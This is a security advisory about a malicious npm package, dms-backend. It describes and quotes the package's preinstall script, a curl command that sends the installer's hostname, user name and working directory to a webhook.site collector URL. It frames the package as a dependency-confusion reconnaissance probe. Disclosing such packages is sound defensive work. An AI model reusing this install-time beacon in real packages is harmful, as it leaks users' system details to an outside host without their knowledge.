🛡️ MAL-2026-5826 — dms-backend

Malicious code in dms-backend (npm)

Source: amazon-inspector

package.json declares a preinstall lifecycle script that runs curl --data-urlencode "info=$(hostname && whoami && pwd)" against a webhook.site collector URL (https://webhook.site/1ea0386f-dcc0-4f1b-bdbb-61732d6535fb/dms-backend). This fires automatically on npm install and leaks installer-side identifiers — hostname, current OS user, and install working directory — to an attacker-controlled webhook bin. The package ships no real functionality; the preinstall recon beacon is the package's only behavior, which is the canonical shape of a dependency-confusion reconnaissance probe (the name dms-backend suggests targeting an internal/private registry name to hijack installs of an organization's private package).